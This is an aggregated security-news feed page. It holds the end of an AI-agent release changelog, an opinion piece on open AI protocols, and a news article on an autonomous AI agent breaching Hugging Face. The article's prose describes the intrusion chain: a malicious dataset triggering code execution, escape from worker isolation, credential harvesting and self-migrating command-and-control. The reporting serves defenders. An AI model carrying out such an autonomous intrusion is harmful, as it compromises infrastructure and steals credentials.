  • Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
  • Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
  • Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
  • Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

🧰 CLI & TUI

  • /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
  • /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
  • Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
  • --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
  • TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
  • Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

  • MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
  • Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
  • Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
  • Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
  • Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
  • mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
  • Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

  • Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
  • Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
  • Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
  • Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
  • Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
  • computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
  • Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
  • CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
  • Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
  • Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
  • Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

  • iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
  • dynamic-workflow orchestration skill (landed, then reverted) — not shipping
  • memory provider-actions extension point (landed, then reverted) — not shipping
  • Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

đŸ‘„ Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

  • @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
  • @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
  • @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
  • @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
  • @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
  • @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
  • @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
  • @austinpickett — desktop custom endpoint settings
  • @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

  • @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
  • @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
  • @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
  • @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
  • @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
  • @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
  • @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
  • @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
  • @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
  • @vishal-dharm — Gemini request-context improvements
  • @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
  • @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
  • Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

]]> <![CDATA[Where the real competition is in AI]]> https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/ https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/ Mon, 20 Jul 2026 19:48:37 +0200 🔧 AI Nachrichten tsecurity.de

Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nearly 100 million monthly SDK downloads across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.

Google did much the same months earlier, handing its Agent2Agent (A2A) protocol to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, supports remote MCP servers in its Responses API⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.

It’s like Game of Thrones, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.

What does this mean for AI?

Gravity has shifted before

Google has long been an exceptionally active contributor to open source. As I wrote in 2017, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As then Google product manager Martin Buhr said, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”

In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.

GitHub may be an even better example. Git is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet GitHub became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.

Trading contributions for control

Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like MCP. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. As I pointed out recently, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.

The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.

Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.

Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.

That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.

That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.

Open standards don’t stop gravity

None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.

An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.

In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.

]]> <![CDATA[101 ways to secure your AI Logic implementation]]> https://tsecurity.de/de/3681825/it-security-video/101-ways-to-secure-your-ai-logic-implementation/ https://tsecurity.de/de/3681825/it-security-video/101-ways-to-secure-your-ai-logic-implementation/ Mon, 20 Jul 2026 19:19:55 +0200 đŸŽ„ IT Security Video tsecurity.de Author: Firebase - Bewertung: 4x - Views:22

Implement App Check → https://goo.gle/4fe4L5W
Enable Auth-only mode → https://goo.gle/4wQFvbV
Enable template-only mode → https://goo.gle/4wK9vWI
AI Monitoring → https://goo.gle/4gOIddd

How do you take client-side AI to production without leaving your backend completely exposed to abuse? In this video, we crack the code on securing your Firebase AI Logic implementations. RosĂĄrio breaks down 5 ways to lock down your Firebase AI implementation, secure your infrastructure, and gain full visibility into your app's AI traffic.

Chapters:
0:00 - Tip 1: Firebase App Check
1:01 - Tip 2: Auth-only mode
1:30 - Tip 3: Server prompt templates
2:01 - Tip 4: Template-only mode
2:35 - Tip 5: AI Monitoring
3:04- One more thing!


#Firebase

Subscribe to Firebase → https://goo.gle/Firebase

Speaker: RosĂĄrio Fernandes
Products Mentioned: Firebase, Firebase AI Logic

]]> <![CDATA[USN-8569-1: Linux kernel (HWE) vulnerabilities]]> https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/ https://tsecurity.de/de/3681610/unix-server/usn-8569-1-linux-kernel-hwe-vulnerabilities/ Mon, 20 Jul 2026 18:18:40 +0200 🐧 Unix Server tsecurity.de <![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]> https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ Mon, 20 Jul 2026 18:03:18 +0200 📰 IT Nachrichten tsecurity.de Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

Control Domain

What Broke

Monday Action

Dataset admission controls

Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.

Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.

Worker-to-node privilege boundaries

Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.

Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.

Credential exposure

Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.

Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.

Machine-speed detection

Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.

Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.

Private AI forensic capacity

Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.

Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.

Autonomous-agent threat modeling

The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.

Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

]]> <![CDATA[USN-8567-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3681567/unix-server/usn-8567-1-linux-kernel-vulnerabilities/ Mon, 20 Jul 2026 17:46:49 +0200 🐧 Unix Server tsecurity.de <![CDATA[The technology behind every live sports moment]]> https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/ https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/ Mon, 20 Jul 2026 16:48:21 +0200 📰 IT Nachrichten tsecurity.de

When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.

They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.

They just feel the moment.

